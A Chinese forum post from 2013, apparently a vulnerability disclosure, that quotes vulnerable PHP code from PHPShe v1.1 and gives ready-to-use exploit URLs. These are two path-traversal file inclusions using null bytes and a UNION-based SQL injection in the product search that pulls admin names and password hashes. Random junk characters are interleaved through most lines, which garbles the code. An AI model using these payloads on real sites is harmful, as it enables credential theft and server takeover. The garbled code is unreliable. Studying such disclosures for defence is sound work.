找回密码
 立即注册
查看: 2747|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
# b- S' Q6 R7 O( D$ q/* Phpshe v1.1 Vulnerability' g6 j- \# X! t- g. J$ f' b) W
/* ========================5 c, i3 [6 x# R5 j" G: i' [( C, ^6 |
/* By: : Kn1f3
9 \5 F  K8 f8 E( ~* a/* E-Mail : 681796@qq.com2 a" E6 P/ C" ^) j0 F
/*******************************************************/
8 E, h& @0 H: {, R& a2 Z0×00 整体大概参数传输& V1 u* b$ J  }. J
* J) P4 @+ I$ b% B1 F/ ]
1 ^$ i* k* F: w. ]% s( j0 u" M7 x

5 E$ t! _! ~& z9 t2 E, A" ?//common.php
2 k/ H; W7 H" B. g$ M/ G8 C$ zif (get_magic_quotes_gpc()) {
, B6 S/ ]* f' _+ L% t!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');, z8 \( v7 y6 f; e1 ?( o
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');% M4 R5 A* h) d( W# Y5 O+ v4 Q
}# ]+ f& N  K  F, C, z# D& D
else {2 k0 e" e0 c6 ?
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');9 R9 N2 ]  Y, W$ P
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! A5 q. U; A$ E6 {& K}5 R, \/ l5 ^3 [2 w
session_start();- s% w# e* [5 P, `6 Q% h" @( c4 D
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');7 ]  C( h6 N; b% ]
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');. c3 j6 c; ^0 _& i5 G: {5 {
" f$ l; ~1 x/ o7 D
0×01 包含漏洞( }& I2 g$ `4 w2 _: q' {

. L) }% P. ?( P" @

2 B9 k+ |8 M9 d//首页文件' I$ Y. R; Q7 P/ q( q2 O: X
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
6 s, W* |8 s. _include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
: j* m5 \& n5 `1 f1 c1 D, p4 p5 O4 [pe_result();
' m6 D' u' k  g?>
5 h" y  q4 o/ [( A//common 文件 第15行开始
. U7 P! Y% g; j$ e( z# z" Y7 Yurl路由配置  i: X% x* ~' w/ N: v
$module = $mod = $act = 'index';
1 ~. H  O2 O$ x& {) O7 ~/ z$ M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);2 X$ m& Q5 m. D' G; u* p( Y
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
9 X& r) P& f3 L, W: I' o" Z$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);/ b0 J: G) S4 t
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%004 u% T( Q$ @7 l  ?5 O

) C9 \2 i* E  s; x1 ]
2 J* h! _/ d( z8 R; ^
0×02 搜索注入8 F- g2 Q3 v$ z- A, O

( j6 ?& E' j* O8 t3 Q; t- K<code id="code2">

//product.php文件
$ R( Z9 _; j4 j7 w# t+ D5 _3 rcase 'list':( t& R7 p9 W+ H7 N; G; Q
$category_id = intval($id);: h* h( L8 L0 |, H7 \2 A- S
$info = $db->pe_select('category', array('category_id'=>$category_id));, p! ^6 F* }$ N0 E0 \+ w
//搜索' }, x. Q, P/ b# D' y; U
$sqlwhere = " and `product_state` = 1";7 X) `) X8 V% g  v& U9 y: E  c$ t% u5 E
pe_lead('hook/category.hook.php');; e: z+ Y/ H" R! K0 `
if ($category_id) {
" R2 P; T# o% E; xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 @9 W9 e3 g* Q! R
}3 W8 S2 S  ?* i7 U5 L6 G
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤% y* A+ s9 ~4 |. X- x8 q
if ($_g_orderby) {
) X1 w$ B) @& p; E$orderby = explode('_', $_g_orderby);
8 j6 A9 \7 e" d0 x$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";0 `$ o( E( o3 b9 R
}
  ^' K" K8 n5 P# belse {
% w8 U( F$ H0 u0 Z9 K8 b" R$sqlwhere .= " order by `product_id` desc";7 {! ?& p: w( E% M) |
}2 M; w+ z; F  \) V
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
- ^, D$ v3 o( C: `//热卖排行+ z: e: U. z# t7 P! q  c2 G9 K
$product_hotlist = product_hotlist();
: `+ E& T) F" q& I1 ]& w0 i3 K//当前路径7 {  C9 s1 {1 u. @% a
$nowpath = category_path($category_id);$ K& m. F% p: _. i# q3 m5 f+ I
$seo = pe_seo($info['category_name']);$ P$ h6 X0 b2 j/ C  Z5 Q
include(pe_tpl('product_list.html'));
2 i- b+ Q5 b# |: c) o0 u//跟进selectall函数库
- z2 n0 o' k9 e/ gpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array()); s$ Q( `" @1 l- O  n" z" y% O% v1 ^
{
/ h7 ~% A8 \7 D6 g//处理条件语句; w: |' @" F4 f. r# ~& g( w
$sqlwhere = $this->_dowhere($where);
) s) Y, S5 `7 r- |; e, p' Zreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
# r4 Z9 e' w7 b3 m6 p2 R}
9 h1 V5 Y/ \* [) A/ c5 X# I//exp8 r0 P" K; |6 A% h/ B# d$ S% K5 z$ R; A
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='17 ^9 h7 A3 }6 A( l* H

</code>9 w$ o. i8 G- ?7 q7 n' F7 P% N4 h. V6 F

" G$ P9 I# h1 D. U7 k' e8 `0×03 包含漏洞2
: ?: C9 U- y$ D* k$ \" g
" V5 y3 I7 n2 b8 w, h<code id="code3">

//order.php

case 'pay':


, m5 ?' R& y8 b. X/ m' s$order_id = pe_dbhold($_g_id);


) h" q  z" ?8 d( z& Z. P$cache_payway = cache::get('payway');

7 N; I, p/ `* f7 q4 U/ n
foreach($cache_payway as $k => $v) {


# h) l% f* S* l/ t& C) r$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


& h% M* y% o; r5 Z% oif ($k == 'bank') {

7 ?+ }4 I+ o; S/ O9 D; E6 e3 n1 b
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


5 ]$ w& e5 Z' m* T1 ^}

  i8 @7 h/ p5 T0 X2 d+ e  W  p
}

! a' Q, l# \/ t2 B
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

# j8 U8 {4 [4 W8 L$ P+ y- T( i6 f
!$order['order_id'] && pe_error('订单号错误...');


% t& g' O9 I4 }+ y: Jif (isset($_p_pesubmit)) {

- x0 k  Z/ X4 {& W. @3 v/ W
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


' O$ {( F9 c8 C& o$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


6 a% Z+ G% r) J! P' ~foreach ($info_list as $v) {


( w6 ^& p% [6 ]# I# |$order['order_name'] .= "{$v['product_name']};";
/ |, d( }8 e( B


1 A, Z  f4 A: }! y4 P}


& v% F2 f, U+ \" R5 a9 b7 G6 A) Cecho '正在为您连接支付网站,请稍后...';

7 ~" B0 R2 [$ Y/ n! ^
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

* A0 ]' _% v+ e. S5 c
}//当一切准备好的时候就可以进行"鸡肋包含了"


1 B0 X8 z" S" x! P$ {% D  `else {


$ W4 k; I  }4 {8 w1 xpe_error('支付错误...');

4 I% m. k  i, }2 U2 n0 g
}

/ p8 c/ a! G; `: r) Z  x! p# }
}

& D% V+ n( g' Q  N+ p
$seo = pe_seo('选择支付方式');


6 p+ B% S' i( A7 Y) K# ginclude(pe_tpl('order_pay.html'));

# K8 W' u; M4 `( |4 c
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
: h3 I/ M+ C- f& {" t6 _+ @: p

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表